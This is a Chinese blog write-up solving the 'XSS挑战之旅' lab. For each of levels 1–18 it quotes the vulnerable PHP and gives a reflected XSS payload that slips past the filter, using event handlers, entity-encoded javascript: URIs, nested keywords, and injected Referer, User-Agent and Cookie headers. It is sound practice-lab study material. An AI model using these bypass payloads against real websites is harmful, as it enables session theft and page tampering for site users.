zoukankan      html  css  js  c++  java
  • XSS挑战之旅(通过看代码解题)

    XSS 挑战之旅

    level 1

    没有什么过滤

    payload:

    <script>alert(1)</script>
    

    level 2

    php关键代码:

    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    
    <input name=keyword  value="'.$str.'">
    

    分析:

    str是可控的变量,上面一行实体化了,没有希望。

    第二行的的代码没有过滤,闭合一下input标签就可以了。

    payload:

    "><script>alert(1)</script>&submit=搜索
    

    level 3

    关键代码:

    <input name=keyword  value='".htmlspecialchars($str)."'>
    

    分析:

    进行了html实体化,所以不可以利用标签了,利用js的事件来触发xss,闭合的时候用单引号。

    payload:

    '> onmouseover=alert(1) b='&submit=搜索
    

    level 4

    关键代码:

    $str = $_GET["keyword"];
    $str2=str_replace(">","",$str);
    $str3=str_replace("<","",$str2);
    
    <input name=keyword  value="'.$str3.'">
    

    分析:

    获取keyword,尖括号置空,依旧利用js事件,闭合的时候利用双引号。

    payload:

    aa" onmouseover=alert(1) b="
    

    level 5

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    
    <input name=keyword  value="'.$str3.'">
    

    分析:

    首先把keyword转换为了小写,之后把script跟on破坏掉了。

    利用a标签的js协议来触发xss。提交之后点击一下那个连接就可以触发了。

    payload:

    "><a href="javascript:alert(1)">
    

    level 6

    关键代码:

    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    
    <input name=keyword  value="'.$str6.'">
    

    分析:

    跟第五关类似,过滤了script,on,src,data,href等,但是没有进行大小写转换,所以可以利用大小写混写来绕过。

    payload:

    "><a Href="javascript:alert(1)">
    "><img Src=x Onerror=alert(1)>
    

    level 7

    关键代码:

    $str =strtolower( $_GET["keyword"]);
    $str2=str_replace("script","",$str);
    $str3=str_replace("on","",$str2);
    $str4=str_replace("src","",$str3);
    $str5=str_replace("data","",$str4);
    $str6=str_replace("href","",$str5);
    
    <input name=keyword  value="'.$str6.'">
    

    分析

    进行了小写转换,并且过滤了script,on,src,data,href等。

    可以利用单词嵌套来绕过,例如script可以写成 scrSCRIPTipt

    payload:

    "><scscriptript>alert(1)</scrscriptipt>
    

    level 8

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    
     echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    

    分析

    过滤的跟之前的差不多,加上把双引号也过滤了。

    类似第五关,可以利用js协议。但是因为script过滤了,所以需要用到实体编码来过滤了。

    javascript:alert(1)进行编码

    payload:

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41
    

    Tip:

    编码python代码:

    def unicodeHtml(self, orgCode):
        self.enCode['unicodeHtml'] = ';'.join(
            '&#{}'.format(ord(x)) for x in orgCode)
    

    收获

    网上别的表哥说还可以这样绕过:

    可以利用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开做到过滤,例如:

    javas%09cript:alert()
    
    javas%0acript:alert()
    
    javas%0dcript:alert()
    
    %09:tab
    %0a:linefeed(换行)
    %0d:creturn
    

    但是我尝试了一下:

    em~ 好迷,搜了一下才知道是httpd.conf的配置问题。

    <Directory />
        Options FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
    </Directory>
    

    这一段改成:

    <Directory />  
        Options Indexes FollowSymLinks  
        AllowOverride None  
    </Directory>
    

    em~ 改了也没有好使,可能是我的环境问题叭。占个坑。

    level 9

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    
    <?php
    if(false===strpos($str7,'http://'))
    {
      echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
            }
    else
    {
      echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    }
    

    分析

    日常过滤,如果keyword里不包含http://就不合法。编码之后加进去就可以了。

    payload:

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41 //http://
    

    level 10

    关键代码:

    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    
    <input name="t_sort"  value="'.$str33.'" type="hidden">
    

    分析

    str变量传入之后直接实体化后输出了,所以keyword参数是没用的。

    发现还可以传一个t_sort参数并且只是过滤了尖括号,闭合一下利用js事件就可以了。

    但是又发现t_sort值的标签是hidden的,所以我们这里改成可见的。

    payload:

    " onmouseover=alert(1) type="text" //
    <!--访问:/level10.php?keyword=well%20done!&t_sort=" onmouseover=alert(1) type="text" //-->
    

    level 11

    关键代码:

    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_REFERER'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ref"  value="'.$str33.'" type="hidden">
    

    分析

    keyword跟t_sort都进行了实体化,没戏。

    这里出现了一个$_SERVER['HTTP_REFERER']

    这个变量只是过滤了尖括号,那么这个变量怎么传进去呢?

    可以通过抓包改包来实现:

    payload:

    这里利用burpsuite来实现改包的功能

    添加一个:Referer:" onmouseover=alert(1) type="text" //

    之后点击forward就可以了。

    level 12

    关键代码:

    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_USER_AGENT'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    
    <input name="t_ua"  value="'.$str33.'" type="hidden">
    

    分析

    跟刚刚的类似,也是要抓包改包。

    payload:

    更改User-Agent的值为" onmouseover=alert(1) type="text" //

    level 13

    关键代码:

    setcookie("user", "call me maybe?", time()+3600);
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_COOKIE["user"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    
    <input name="t_cook"  value="'.$str33.'" type="hidden">
    

    分析

    抓包,改cookie

    payload:

    Cookie: user=" onmouseover=alert(1) type="text" //
    

    level 14

    没有太看明白,参考里的最后一个里有答案。。。

    level 15

    关键代码:

    <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
    
    $str = $_GET["src"];
    echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    

    分析

    看了大佬们的分析,知道了这题是利用AngularJS ng-include 指令。

    ng-include 指令用于包含外部的 HTML 文件。

    包含的内容将作为指定元素的子节点。

    ng-include 属性的值可以是一个表达式,返回一个文件名。

    默认情况下,包含的文件需要包含在同一个域名下。

    访问/level15.php?src='level1.php'的时候会把第6关的文件引入到本页:

    所以我们可以利用之前利用过的payload,比如利用第一关。

    payload:

    /level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
    

    level 16

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","&nbsp;",$str);
    $str3=str_replace(" ","&nbsp;",$str2);
    $str4=str_replace("/","&nbsp;",$str3);
    $str5=str_replace("	","&nbsp;",$str4);
    echo "<center>".$str5."</center>";
    

    分析

    利用:%0d %0a分隔

    payload:

    <img%0Dsrc=1%0Donerror=alert(1)>
    

    level 17

    关键代码:

    echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    

    分析

    html实例化,通过on来触发。

    payload:

    %20onmouseover=alert(1)
    

    执行后的源代码:

    <embed src=xsf01.swf?a= onmouseover=alert(1) width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
    

    level 18

    关键代码:

    echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    

    分析

    感觉跟17差不多呀。

    payload:

    %20onmouseover=alert(1)
    

    19 跟 20 不会啊。

    参考:

    XSS挑战之旅(1~10)
    https://www.jianshu.com/p/550529813397

    XSS挑战之旅--游戏闯关
    https://www.jianshu.com/p/4e3a517bc4ea

    【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关)
    https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12

  • 相关阅读:
    451. Sort Characters By Frequency
    424. Longest Repeating Character Replacement
    68. Text Justification
    44. Wildcard Matching
    160. Intersection of Two Linked Lists
    24. Swap Nodes in Pairs
    93. 递归实现组合型枚举
    98. 分形之城
    97. 约数之和
    96. 奇怪的汉诺塔
  • 原文地址:https://www.cnblogs.com/F4lc0n/p/12897161.html
Copyright © 2011-2022 走看看